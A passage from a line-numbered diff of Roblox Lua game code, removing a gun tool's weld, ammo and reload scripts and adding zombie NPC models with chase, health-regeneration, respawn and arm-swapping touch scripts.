local arms = nil
3860+
3861-
local torso = nil
3861+
ObjectValue215.Name = "IsNZ"
3862-
local welds = {}
3862+
ObjectValue215.Parent = Model203
3863
IntValue216.Name = "Mode"
3864-
function Equip(mouse)
3864+
IntValue216.Parent = Model203
3865-
wait(0.01)
3865+
Script217.Parent = Model203
3866-
arms = {Tool.Parent:FindFirstChild("Left Arm"), Tool.Parent:FindFirstChild("Right Arm")}
3866+
table.insert(cors,sandbox(Script217,function()
3867-
torso = Tool.Parent:FindFirstChild("Torso")
3867+
local larm = script.Parent:FindFirstChild("Left Arm")
3868-
if arms ~= nil and torso ~= nil then
3868+
local rarm = script.Parent:FindFirstChild("Right Arm")
3869-
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
3869+
3870-
if sh ~= nil then
3870+
function findNearestTorso(pos)
3871-
local yes = true
3871+
	local list = game.Workspace:children()
3872-
if yes then
3872+
	local torso = nil
3873-
yes = false
3873+
	local dist = 1000
3874-
sh[1].Part1 = nil
3874+
	local temp = nil
3875-
sh[2].Part1 = nil
3875+
	local human = nil
3876-
local weld1 = Instance.new("Weld")
3876+
	local temp2 = nil
3877-
weld1.Part0 = torso
3877+
	for x = 1, #list do
3878-
weld1.Parent = torso
3878+
		temp2 = list[x]
3879-
weld1.Part1 = arms[1]
3879+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
3880-
weld1.C1 = CFrame.new(-0.4, 1.3, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90)) --(-0.249, 1.35, 0.6)
3880+
			temp = temp2:findFirstChild("Right Arm")
3881-
welds[1] = weld1
3881+
			human = temp2:findFirstChild("Humanoid")
3882-
local weld2 = Instance.new("Weld")
3882+
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
3883-
weld2.Part0 = torso
3883+
				if (temp.Position - pos).magnitude < dist then
3884-
weld2.Parent = torso
3884+
					torso = temp
3885-
weld2.Part1 = arms[2]
3885+
					dist = (temp.Position - pos).magnitude
3886-
weld2.C1 = CFrame.new(-1, -0.2, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15), 0)
3886+
				end
3887-
welds[2] = weld2
3887+
3888
		end
3889-
else
3889+
3890-
print("sh")
3890+
	return torso
3891
end
3892-
else
3892+
3893-
print("arms")
3893+
3894
3895
3896
while true do
3897-
function Unequip(mouse)
3897+
	wait(math.random(1,5))
3898-
if arms ~= nil and torso ~= nil then
3898+
	local target = findNearestTorso(script.Parent.Torso.Position)
3899-
local sh = {torso:FindFirstChild("Left Shoulder"), torso:FindFirstChild("Right Shoulder")}
3899+
	if target ~= nil then
3900-
if sh ~= nil then
3900+
		script.Parent.Humanoid:MoveTo(target.Position, target)
3901-
local yes = true
3901+
3902-
if yes then
3902+
3903-
yes = false
3903+
3904-
sh[1].Part1 = arms[1]
3904+
3905-
sh[2].Part1 = arms[2]
3905+
3906-
welds[1].Parent = nil
3906+
Script218.Name = "Health"
3907-
welds[2].Parent = nil
3907+
Script218.Parent = Model203
3908
table.insert(cors,sandbox(Script218,function()
3909-
else
3909+
function waitForChild(parent, childName)
3910-
print("sh")
3910+
	while true do
3911
		local child = parent:findFirstChild(childName)
3912-
else
3912+
		if child then
3913-
print("arms")
3913+
3914
		end
3915
		parent.ChildAdded:wait()
3916-
Tool.Equipped:connect(Equip)
3916+
3917-
Tool.Unequipped:connect(Unequip)
3917+
3918
3919
-- declarations
3920-
LocalScript297.Name = "BackGun"
3920+
3921-
LocalScript297.Parent = Tool281
3921+
local Figure = script.Parent
3922-
table.insert(cors,sandbox(LocalScript297,function()
3922+
local Head = waitForChild(Figure, "Head")
3923-
--made by alextomcool!!!---Edited by Sparttan. 
3923+
local Humanoid = waitForChild(Figure, "Humanoid")
3924-
--to use: put in type of gun: barrel point left, barrel point right or bull-pup(main hande is in the middle of the gun)
3924+
Humanoid.Health=500
3925-
--step 2: put in what type of wepoan it is: assult rifle or pistol(there will be more)
3925+
-- regeneration
3926-
--to do list: make it easyer to modife how it weld's.
3926+
3927-
guntype = 1--1 is assult rifle, 2 is bullpup, 3 is pistol, 4 is knife
3927+
	local s = wait(4)
3928-
weldmode = 3--1 is barrel point upper-left, 2 is barrel pointing upper-right, 3 is barrel point lower-left and 4 is barrel point lower-right
3928+
	local health = Humanoid.Health
3929-
-------(note: if it is pistol or knife then 1 is on right leg, 2 is on left leg, 3 is in the back of your pants and 4 is in the front of your pants)
3929+
	if health > 0 and health < Humanoid.MaxHealth then
3930-
model = nil--gun model, that is
3930+
		health = health + 0.08 * s * Humanoid.MaxHealth
3931-
distance = 0.75--this is the distance between the part(torso/leg) and the gun. DON'T MAKE negitive
3931+
		if health * 1.05 < Humanoid.MaxHealth then
3932-
rotation = 45--this is the turning in degrees.
3932+
			Humanoid.Health = health
3933-
--this area is mode more for someone who's already good at gun's. please do not get mad at me if you don't understand what's under here
3933+
		else
3934-
y = 0--this is what's added to the current y value. positive number's make it go down. negative make's it go up
3934+
			Humanoid.Health = Humanoid.MaxHealth
3935-
 x = 0--this is what's added to the x value(it's really the z value but it look's like the x value when on your back). positive number's make it go left. negative make's it go right
3935+
3936-
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
3936+
3937-
--I suggest not doing anything else under here. All you should have to change is the weldmode and guntype.
3937+
3938-
--guntype 1 and weldmode 1 is for assault. guntype 3 and weldmode 1 is pistol position. 
3938+
3939-
--Those are what I have done so far so give me time so I can edit them into the correct position.
3939+
3940-
-------------------------------------------------------------------------------------------------------------------------------------------------------------------
3940+
Script219.Name = "Respawn"
3941-
parts = {}
3941+
Script219.Parent = Model203
3942-
local n = 1
3942+
table.insert(cors,sandbox(Script219,function()
3943-
--can i have my
3943+
name="Humanoid"
3944-
function on(mouse)
3944+
3945-
if model == nil then
3945+
robo=script.Parent:clone()
3946-
n = 1
3946+
3947-
local m = Instance.new("Model")
3947+
3948-
local all = script.Parent:GetChildren()
3948+
	wait(1)
3949-
for i = 1, #all do
3949+
	if script.Parent.Humanoid.Health<1 then
3950-
if all[i].className == "Part" then
3950+
		robot=robo:clone()
3951-
parts[n] = all[i].Transparency
3951+
		robot.Parent=script.Parent.Parent
3952-
local brick = all[i]:clone()
3952+
		robot:makeJoints()
3953-
brick.Parent = m
3953+
		script.Parent:remove()
3954-
n = n +1
3954+
3955
end
3956
		
3957-
wait()
3957+
3958-
if model == nil then
3958+
3959-
local weld = script:FindFirstChild("Weld2")
3959+
3960-
if weld ~= nil then
3960+
3961-
local new = weld:clone()
3961+
Part220.Name = "Spawn Location"
3962-
new.Disabled = false
3962+
Part220.Parent = Model202
3963-
new.Parent = m
3963+
Part220.CFrame = CFrame.new(188.113556, 0.603015006, 229.491455, -1.00000024, 0, 0, 0, 1, 0, 0, 0, -1.00000024)
3964-
m.Name = script.Parent.Name
3964+
Part220.Orientation = Vector3.new(0, 180, 0)
3965-
m.Parent = script.Parent.Parent
3965+
Part220.Position = Vector3.new(188.113556, 0.603015006, 229.491455)
3966-
model = m
3966+
Part220.Rotation = Vector3.new(-180, 0, -180)
3967-
local handle = model:FindFirstChild("Handle")
3967+
Part220.Color = Color3.new(0.631373, 0.768628, 0.54902)
3968-
if handle ~= nil then
3968+
Part220.Size = Vector3.new(6, 1.20000005, 6)
3969-
--------------------------------------------------------------------------------
3969+
Part220.BottomSurface = Enum.SurfaceType.Weld
3970-
--------------------------------------------------------------------------------
3970+
Part220.BrickColor = BrickColor.new("Medium green")
3971-
--------------------------------------------------------------------------------
3971+
Part220.TopSurface = Enum.SurfaceType.Smooth
3972-
--------------------------------------------------------------------------------
3972+
Part220.brickColor = BrickColor.new("Medium green")
3973-
--------------------------------------------------------------------------------
3973+
Decal221.Parent = Part220
3974-
if guntype == 1 then
3974+
Decal221.Texture = "http://www.roblox.com/asset/?id=34541722"
3975-
local torso = model.Parent:FindFirstChild("Torso")
3975+
Decal221.Face = Enum.NormalId.Top
3976-
if torso ~= nil then
3976+
Model222.Parent = Model201
3977-
if weldmode == 1 then--barrel pointing upper-right
3977+
Model223.Name = "Zombie"
3978-
local w = Instance.new("Weld")
3978+
Model223.Parent = Model222
3979-
w.Part0 = torso
3979+
Model223.PrimaryPart = Part224
3980-
w.Parent = w.Part0
3980+
Part224.Name = "Head"
3981-
w.Part1 = handle
3981+
Part224.Parent = Model223
3982-
w.C1 = CFrame.new(distance *-1, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2), 0)
3982+
Part224.CFrame = CFrame.new(188.591461, 6.09995508, 223.48645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
3983-
elseif weldmode == 2 then--barrel pointing upper-left
3983+
Part224.Orientation = Vector3.new(0, 90, 0)
3984-
local w = Instance.new("Weld")
3984+
Part224.Position = Vector3.new(188.591461, 6.09995508, 223.48645)
3985-
w.Part0 = torso
3985+
Part224.Rotation = Vector3.new(0, 90, 0)
3986-
w.Parent = w.Part0
3986+
Part224.Color = Color3.new(0.631373, 0.768628, 0.54902)
3987-
w.Part1 = handle
3987+
Part224.Size = Vector3.new(2, 1, 1)
3988-
w.C1 = CFrame.new(distance, 0.25 +y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), (math.pi / 2 ) *-1, 0)
3988+
Part224.BrickColor = BrickColor.new("Medium green")
3989-
elseif weldmode == 3 then--barrel pointing upside-right
3989+
Part224.TopSurface = Enum.SurfaceType.Smooth
3990-
local w = Instance.new("Weld")
3990+
Part224.brickColor = BrickColor.new("Medium green")
3991-
w.Part0 = torso
3991+
Part224.FormFactor = Enum.FormFactor.Symmetric
3992-
w.Parent = w.Part0
3992+
Part224.formFactor = Enum.FormFactor.Symmetric
3993-
w.Part1 = handle
3993+
SpecialMesh225.Parent = Part224
3994-
w.C1 = CFrame.new(distance *-1, -0.1+y, 0.2 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2), -1.5)
3994+
SpecialMesh225.Scale = Vector3.new(1.25, 1.25, 1.25)
3995-
elseif weldmode == 4 then--barrel pointing upside-left
3995+
Decal226.Name = "face"
3996-
local w = Instance.new("Weld")
3996+
Decal226.Parent = Part224
3997-
w.Part0 = torso
3997+
Part227.Name = "Torso"
3998-
w.Parent = w.Part0
3998+
Part227.Parent = Model223
3999-
w.Part1 = handle
3999+
Part227.CFrame = CFrame.new(188.591461, 4.59995508, 223.48645, 0, 0, 1.00000024, 0, 1, 0, -1.00000024, 0, 0)
4000-
w.C1 = CFrame.new(distance, 0.25+y, -0.75 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), (math.pi / 2 +rotation) *-1.1, 1)
4000+
Part227.Orientation = Vector3.new(0, 90, 0)
4001
Part227.Position = Vector3.new(188.591461, 4.59995508, 223.48645)
4002
Part227.Rotation = Vector3.new(0, 90, 0)
4003-
--------------------------------------------------------------------------------
4003+
Part227.Color = Color3.new(0.411765, 0.25098, 0.156863)
4004-
--------------------------------------------------------------------------------
4004+
Part227.Size = Vector3.new(2, 2, 1)
4005-
--------------------------------------------------------------------------------
4005+
Part227.BrickColor = BrickColor.new("Reddish brown")
4006-
--------------------------------------------------------------------------------
4006+
Part227.LeftParamA = 0
4007-
--------------------------------------------------------------------------------
4007+
Part227.LeftParamB = 0
4008-
elseif guntype == 2 then--BullPup
4008+
Part227.LeftSurface = Enum.SurfaceType.Weld
4009-
local torso = model.Parent:FindFirstChild("Torso")
4009+
Part227.RightParamA = 0
4010-
if torso ~= nil then
4010+
Part227.RightParamB = 0
4011-
if weldmode == 1 then--barrel pointing upper-right
4011+
Part227.RightSurface = Enum.SurfaceType.Weld
4012-
local w = Instance.new("Weld")
4012+
Part227.brickColor = BrickColor.new("Reddish brown")
4013-
w.Part0 = torso
4013+
Part227.FormFactor = Enum.FormFactor.Symmetric
4014-
w.Parent = w.Part0
4014+
Part227.formFactor = Enum.FormFactor.Symmetric
4015-
w.Part1 = handle
4015+
Part228.Name = "Left Leg"
4016-
w.C1 = CFrame.new(distance *-1, 0.25+y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), math.pi / 2, 0)
4016+
Part228.Parent = Model223
4017-
elseif weldmode == 2 then--barrel pointing upper-left
4017+
Part228.CFrame = CFrame.new(188.591461, 2.59995508, 223.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
4018-
local w = Instance.new("Weld")
4018+
Part228.Orientation = Vector3.new(0, 90, 0)
4019-
w.Part0 = torso
4019+
Part228.Position = Vector3.new(188.591461, 2.59995508, 223.98645)
4020-
w.Parent = w.Part0
4020+
Part228.Rotation = Vector3.new(0, 90, 0)
4021-
w.Part1 = handle
4021+
Part228.Color = Color3.new(0.411765, 0.25098, 0.156863)
4022-
w.C1 = CFrame.new(distance, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation *-1), math.pi / 2 *-1, 0)
4022+
Part228.Size = Vector3.new(1, 2, 1)
4023-
elseif weldmode == 3 then--barrel pointing upside-right
4023+
Part228.BottomSurface = Enum.SurfaceType.Smooth
4024-
local w = Instance.new("Weld")
4024+
Part228.BrickColor = BrickColor.new("Reddish brown")
4025-
w.Part0 = torso
4025+
Part228.CanCollide = false
4026-
w.Parent = w.Part0
4026+
Part228.brickColor = BrickColor.new("Reddish brown")
4027-
w.Part1 = handle
4027+
Part228.FormFactor = Enum.FormFactor.Symmetric
4028-
w.C1 = CFrame.new(distance *-1, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), math.pi / 2, 0)
4028+
Part228.formFactor = Enum.FormFactor.Symmetric
4029-
elseif weldmode == 4 then--barrel pointing upside-left
4029+
Part229.Name = "Right Leg"
4030-
local w = Instance.new("Weld")
4030+
Part229.Parent = Model223
4031-
w.Part0 = torso
4031+
Part229.CFrame = CFrame.new(188.591461, 2.59995508, 222.98645, 0, 0, 1.00000072, 0, 1, 0, -1.00000072, 0, 0)
4032-
w.Parent = w.Part0
4032+
Part229.Orientation = Vector3.new(0, 90, 0)
4033-
w.Part1 = handle
4033+
Part229.Position = Vector3.new(188.591461, 2.59995508, 222.98645)
4034-
w.C1 = CFrame.new(distance, 0.25 +y, -0.5 +x *-1) * CFrame.fromEulerAnglesXYZ(math.rad(rotation), math.pi / 2 *-1, 0)
4034+
Part229.Rotation = Vector3.new(0, 90, 0)
4035
Part229.Color = Color3.new(0.411765, 0.25098, 0.156863)
4036
Part229.Size = Vector3.new(1, 2, 1)
4037-
--------------------------------------------------------------------------------
4037+
Part229.BottomSurface = Enum.SurfaceType.Smooth
4038-
--------------------------------------------------------------------------------
4038+
Part229.BrickColor = BrickColor.new("Reddish brown")
4039-
--------------------------------------------------------------------------------
4039+
Part229.CanCollide = false
4040-
--------------------------------------------------------------------------------
4040+
Part229.brickColor = BrickColor.new("Reddish brown")
4041-
--------------------------------------------------------------------------------
4041+
Part229.FormFactor = Enum.FormFactor.Symmetric
4042-
elseif guntype == 3 then--pistol
4042+
Part229.formFactor = Enum.FormFactor.Symmetric
4043-
local lleg = model.Parent:FindFirstChild("Left Leg")
4043+
Humanoid230.Parent = Model223
4044-
local rleg = model.Parent:FindFirstChild("Right Leg")
4044+
Humanoid230.LeftLeg = Part228
4045-
if lleg ~= nil and rleg ~= nil then
4045+
Humanoid230.NameOcclusion = Enum.NameOcclusion.NoOcclusion
4046-
if weldmode == 1 then--pistol on right leg
4046+
Humanoid230.RightLeg = Part229
4047-
local w = Instance.new("Weld")
4047+
Humanoid230.Torso = Part227
4048-
w.Part0 = rleg
4048+
Part231.Name = "zarm"
4049-
w.Parent = w.Part0
4049+
Part231.Parent = Model223
4050-
w.Part1 = handle
4050+
Part231.CFrame = CFrame.new(188.091461, 5.09995508, 224.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
4051-
w.C1 = CFrame.new(distance *-1, 0 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)
4051+
Part231.Orientation = Vector3.new(0, 180, 0)
4052-
elseif weldmode == 2 then--pistol on left leg
4052+
Part231.Position = Vector3.new(188.091461, 5.09995508, 224.98645)
4053-
local w = Instance.new("Weld")
4053+
Part231.Rotation = Vector3.new(-180, 0, -180)
4054-
w.Part0 = lleg
4054+
Part231.Color = Color3.new(0.631373, 0.768628, 0.54902)
4055-
w.Parent = w.Part0
4055+
Part231.Size = Vector3.new(2, 1, 1)
4056-
w.Part1 = handle
4056+
Part231.BottomSurface = Enum.SurfaceType.Smooth
4057-
w.C1 = CFrame.new(distance, 0 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi / 2, 0, 0)
4057+
Part231.BrickColor = BrickColor.new("Medium green")
4058-
elseif weldmode == 3 then--knife in pant's back, gangsta like
4058+
Part231.TopSurface = Enum.SurfaceType.Smooth
4059-
local w = Instance.new("Weld")
4059+
Part231.brickColor = BrickColor.new("Medium green")
4060-
w.Part0 = torso
4060+
Part231.FormFactor = Enum.FormFactor.Symmetric
4061-
w.Parent = w.Part0
4061+
Part231.formFactor = Enum.FormFactor.Symmetric
4062-
w.Part1 = handle
4062+
Script232.Parent = Part231
4063-
w.C1 = CFrame.new(distance *-1, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi / 2 , math.pi / 2, 0)
4063+
table.insert(cors,sandbox(Script232,function()
4064-
elseif weldmode == 4 then--knife in pant's front, gangsta like
4064+
wait(1)
4065-
local w = Instance.new("Weld")
4065+
owner=script.Parent.Parent.Name
4066-
w.Part0 = torso
4066+
4067-
w.Parent = w.Part0
4067+
function onTouched(part)
4068-
w.Part1 = handle
4068+
	if part.Parent ~= nil then
4069-
w.C1 = CFrame.new(distance, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi / 2 , math.pi / 2 *-1, 0)
4069+
		local h = part.Parent:findFirstChild("Humanoid")
4070
			if h~=nil then
4071
				if cantouch~=0 then
4072-
--------------------------------------------------------------------------------
4072+
					if h.Parent.Name~=owner then
4073-
--------------------------------------------------------------------------------
4073+
						
4074-
--------------------------------------------------------------------------------
4074+
						if h.Parent:findFirstChild("zarm")~=nil then return end
4075-
--------------------------------------------------------------------------------
4075+
4076-
--------------------------------------------------------------------------------
4076+
						cantouch=0
4077-
elseif guntype == 4 then--knife
4077+
4078-
local lleg = model.Parent:FindFirstChild("Left Leg")
4078+
						local larm=h.Parent:findFirstChild("Left Arm")
4079-
local rleg = model.Parent:FindFirstChild("Right Leg")
4079+
						local rarm=h.Parent:findFirstChild("Right Arm")
4080-
local torso = model.Parent:FindFirstChild("Torso")
4080+
						
4081-
if lleg ~= nil and rleg ~= nil and torso ~= nil then
4081+
						if larm~=nil then
4082-
if weldmode == 1 then--pistol on right leg
4082+
							larm:remove()
4083-
local w = Instance.new("Weld")
4083+
						end
4084-
w.Part0 = rleg
4084+
						if rarm~=nil then
4085-
w.Parent = w.Part0
4085+
							rarm:remove()
4086-
w.Part1 = handle
4086+
						end
4087-
w.C1 = CFrame.new(distance *-1, 0.15 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi, 0, 0)
4087+
						local zee=script.Parent.Parent:findFirstChild("zarm")
4088-
elseif weldmode == 2 then--pistol on left leg
4088+
						if zee~=nil then
4089-
local w = Instance.new("Weld")
4089+
							local zlarm=zee:clone()
4090-
w.Part0 = lleg
4090+
							local zrarm=zee:clone()
4091-
w.Parent = w.Part0
4091+
							if zlarm~=nil then
4092-
w.Part1 = handle
4092+
4093-
w.C1 = CFrame.new(distance, 0.15 +y, -0.25 +x *-1) * CFrame.fromEulerAnglesXYZ(math.pi, 0, 0)
4093+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
4094-
elseif weldmode == 3 then--knife in pant's back, gangsta like
4094+
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
4095-
local w = Instance.new("Weld")
4095+
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
4096-
w.Part0 = torso
4096+
								zlarm.Parent=h.Parent
4097-
w.Parent = w.Part0
4097+
								zrarm.Parent=h.Parent
4098-
w.Part1 = handle
4098+
								zlarm:makeJoints()
4099-
w.C1 = CFrame.new(distance *-1, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi , math.pi / 2, 0)
4099+
								zrarm:makeJoints()
4100-
elseif weldmode == 4 then--knife in pant's front, gangsta like
4100+
								zlarm.Anchored=false
4101-
local w = Instance.new("Weld")
4101+
								zrarm.Anchored=false
4102-
w.Part0 = torso
4102+
								wait(0.1)
4103-
w.Parent = w.Part0
4103+
								h.Parent.Head.Color=zee.Color
4104-
w.Part1 = handle
4104+
							else print("no zee"); return end
4105-
w.C1 = CFrame.new(distance, 0 +y, 0.25 +x) * CFrame.fromEulerAnglesXYZ(math.pi , math.pi / 2 *-1, 0)
4105+
						end
4106
						wait(1)
4107
						cantouch=1
4108
					end
4109
				end
4110
			end
4111
	end
4112
end
4113-
--------------------------------------------------------------------------------
4113+
4114-
--------------------------------------------------------------------------------
4114+
4115-
--------------------------------------------------------------------------------
4115+
4116-
--------------------------------------------------------------------------------
4116+
Part233.Name = "zarm"
4117-
--------------------------------------------------------------------------------
4117+
Part233.Parent = Model223
4118-
if model ~= nil then
4118+
Part233.CFrame = CFrame.new(188.091461, 5.09995508, 221.98645, -1.00000072, 0, 0, 0, 1, 0, 0, 0, -1.00000072)
4119-
n = 1
4119+
Part233.Orientation = Vector3.new(0, 180, 0)
4120-
local all = model:GetChildren()
4120+
Part233.Position = Vector3.new(188.091461, 5.09995508, 221.98645)
4121-
for i = 1, #all do
4121+
Part233.Rotation = Vector3.new(-180, 0, -180)
4122-
if all[i].className == "Part" then
4122+
Part233.Color = Color3.new(0.631373, 0.768628, 0.54902)
4123-
all[i].Transparency = 1
4123+
Part233.Size = Vector3.new(2, 1, 1)
4124
Part233.BottomSurface = Enum.SurfaceType.Smooth
4125
Part233.BrickColor = BrickColor.new("Medium green")
4126
Part233.TopSurface = Enum.SurfaceType.Smooth
4127
Part233.brickColor = BrickColor.new("Medium green")
4128-
--check
4128+
Part233.FormFactor = Enum.FormFactor.Symmetric
4129-
function off(mouse)
4129+
Part233.formFactor = Enum.FormFactor.Symmetric
4130-
if model ~= nil then
4130+
Script234.Parent = Part233
4131-
n = 1
4131+
table.insert(cors,sandbox(Script234,function()
4132-
local all = model:GetChildren()
4132+
wait(1)
4133-
for i = 1, #all do
4133+
owner=script.Parent.Parent.Name
4134-
if all[i].className == "Part" then
4134+
4135-
all[i].Transparency = parts[n]
4135+
function onTouched(part)
4136-
local Do = true
4136+
	if part.Parent ~= nil then
4137-
if Do then
4137+
		local h = part.Parent:findFirstChild("Humanoid")
4138-
Do = false--dude!
4138+
			if h~=nil then
4139-
n = n +1
4139+
				if cantouch~=0 then
4140
					if h.Parent.Name~=owner then
4141
						
4142
						if h.Parent:findFirstChild("zarm")~=nil then return end
4143
4144
						cantouch=0
4145-
--please?
4145+
4146-
script.Parent.Equipped:connect(on)
4146+
						local larm=h.Parent:findFirstChild("Left Arm")
4147-
script.Parent.Unequipped:connect(off)
4147+
						local rarm=h.Parent:findFirstChild("Right Arm")
4148
						
4149-
LocalScript298.Name = "Weld2"
4149+
						if larm~=nil then
4150-
LocalScript298.Parent = LocalScript297
4150+
							larm:remove()
4151-
table.insert(cors,sandbox(LocalScript298,function()
4151+
						end
4152-
function Weld(x,y)
4152+
						if rarm~=nil then
4153-
	local W = Instance.new("Weld")
4153+
							rarm:remove()
4154-
	W.Part0 = x
4154+
						end
4155-
	W.Part1 = y
4155+
						local zee=script.Parent.Parent:findFirstChild("zarm")
4156-
	local CJ = CFrame.new(x.Position)
4156+
						if zee~=nil then
4157-
	local C0 = x.CFrame:inverse()*CJ
4157+
							local zlarm=zee:clone()
4158-
	local C1 = y.CFrame:inverse()*CJ
4158+
							local zrarm=zee:clone()
4159-
	W.C0 = C0
4159+
							if zlarm~=nil then
4160-
	W.C1 = C1
4160+
4161-
	W.Parent = x
4161+
							local rot=CFrame.new(0, 0, 0, 0, 0, 1, 0, 1, 0, -1, 0, 0)
4162
								zlarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(-1.5,0.5,-0.5)) * rot
4163
								zrarm.CFrame=h.Parent.Torso.CFrame * CFrame.new(Vector3.new(1.5,0.5,-0.5)) * rot
4164-
function Get(A)
4164+
								zlarm.Parent=h.Parent
4165-
	if A.className == "Part" then
4165+
								zrarm.Parent=h.Parent
4166-
		Weld(script.Parent.Handle, A)
4166+
								zlarm:makeJoints()
4167-
		A.Anchored = false
4167+
								zrarm:makeJoints()
4168-
	else
4168+
								zlarm.Anchored=false
4169-
		local C = A:GetChildren()
4169+
								zrarm.Anchored=false
4170-
		for i=1, #C do
4170+
								wait(0.1)
4171-
		Get(C[i])
4171+
								h.Parent.Head.Color=zee.Color
4172
							else print("no zee"); return end
4173
						end
4174
						wait(1)
4175-
local yes = true
4175+
						cantouch=1
4176-
if yes then
4176+
					end
4177-
yes = false
4177+
				end
4178-
Get(script.Parent)
4178+
4179
	end
4180-
function onDied()
4180+
4181-
script.Parent.Parent = nil
4181+
4182
script.Parent.Touched:connect(onTouched)
4183-
h = script.Parent.Parent:FindFirstChild("Humanoid")
4183+
4184-
if h ~= nil then
4184+
ObjectValue235.Name = "IsNZ"
4185-
h.Died:connect(onDied)
4185+
ObjectValue235.Parent = Model223
4186
IntValue236.Name = "Mode"
4187
IntValue236.Parent = Model223
4188
Script237.Parent = Model223
4189-
LocalScript298.Disabled = true
4189+
table.insert(cors,sandbox(Script237,function()
4190-
Script299.Name = "Reload"
4190+
local larm = script.Parent:FindFirstChild("Left Arm")
4191-
Script299.Parent = Tool281
4191+
local rarm = script.Parent:FindFirstChild("Right Arm")
4192
4193-
print("Ammo Clip Loaded") --Replace every "30" with the number of bullets you want in a clip.
4193+
function findNearestTorso(pos)
4194
	local list = game.Workspace:children()
4195
	local torso = nil
4196-
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value >= 5) then 
4196+
	local dist = 1000
4197-
		wait(3)
4197+
	local temp = nil
4198-
		script.Parent.Value = 5
4198+
	local human = nil
4199-
		script.Parent.Parent.Ammo.Value = script.Parent.Parent.Ammo.Value - 5
4199+
	local temp2 = nil
4200
	for x = 1, #list do
4201-
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value <= 5) then
4201+
		temp2 = list[x]
4202-
		wait(3)
4202+
		if (temp2.className == "Model") and (temp2 ~= script.Parent) then
4203-
		script.Parent.Value = script.Parent.Parent.Ammo.Value
4203+
			temp = temp2:findFirstChild("Right Arm")
4204-
		script.Parent.Parent.Ammo.Value = 0
4204+
			human = temp2:findFirstChild("Humanoid")
4205
			if (temp ~= nil) and (human ~= nil) and (human.Health > 0) then
4206-
	wait(0)
4206+
				if (temp.Position - pos).magnitude < dist then
4207
					torso = temp
4208
					dist = (temp.Position - pos).magnitude
4209
				end
4210-
LocalScript300.Name = "AmmoScript"
4210+
4211-
LocalScript300.Parent = Tool281
4211+
4212-
table.insert(cors,sandbox(LocalScript300,function()
4212+
4213-
Tool = script.Parent 
4213+
	return torso
4214-
function equip()
4214+
4215-
	print("Equipped")
4215+
4216-
	if game.Players.LocalPlayer ~= nil then
4216+
4217-
		local m = Instance.new("Message")
4217+
4218-
		m.Parent = game.Players.LocalPlayer
4218+
4219-
		m.Name = "AmmoStats"
4219+
4220-
		while m ~= nil do
4220+
	wait(math.random(1,5))
4221-
			wait(0.1)
4221+
	local target = findNearestTorso(script.Parent.Torso.Position)
4222-
			m.Text = "Ammo: "..script.Ammo.Value.."  Clip: "..script.Clip.Value
4222+
	if target ~= nil then
4223
		script.Parent.Humanoid:MoveTo(target.Position, target)
4224
	end
4225
4226
end
4227-
function unequip()
4227+
4228-
	print("Unequipped")
4228+
4229-
	if game.Players.LocalPlayer ~= nil then
4229+
Script238.Name = "Health"
4230-
		print("localplayer found")
4230+
Script238.Parent = Model223
4231-
		local m = game.Players.LocalPlayer:FindFirstChild("AmmoStats")
4231+
table.insert(cors,sandbox(Script238,function()
4232-
		if m ~= nil then
4232+
function waitForChild(parent, childName)
4233-
			m:remove()
4233+
	while true do
4234
		local child = parent:findFirstChild(childName)
4235
		if child then
4236
			return child
4237
		end
4238-
script.Parent.Equipped:connect(equip)
4238+
		parent.ChildAdded:wait()
4239-
script.Parent.Unequipped:connect(unequip)
4239+
4240
end
4241
4242-
IntValue301.Name = "Ammo"
4242+
-- declarations
4243-
IntValue301.Parent = LocalScript300
4243+
4244-
IntValue301.Value = 2147483647
4244+
local Figure = script.Parent
4245-
IntValue302.Name = "Clip"
4245+
local Head = waitForChild(Figure, "Head")
4246-
IntValue302.Parent = LocalScript300
4246+
local Humanoid = waitForChild(Figure, "Humanoid")
4247-
IntValue302.Value = 5
4247+
Humanoid.Health=500
4248-
Script303.Name = "Reload"
4248+
-- regeneration
4249-
Script303.Parent = IntValue302
4249+
4250-
table.insert(cors,sandbox(Script303,function()
4250+
	local s = wait(4)
4251-
print("Ammo Clip Loaded") --Replace every "30" with the number of bullets you want in a clip.
4251+
	local health = Humanoid.Health
4252
	if health > 0 and health < Humanoid.MaxHealth then
4253
		health = health + 0.08 * s * Humanoid.MaxHealth
4254-
	if (script.Parent.Value == 0) and (script.Parent.Parent.Ammo.Value >= 5) then 
4254+
		if health * 1.05 < Humanoid.MaxHealth then
4255-
		wait(3)
4255+
			Humanoid.Health = health
4256-
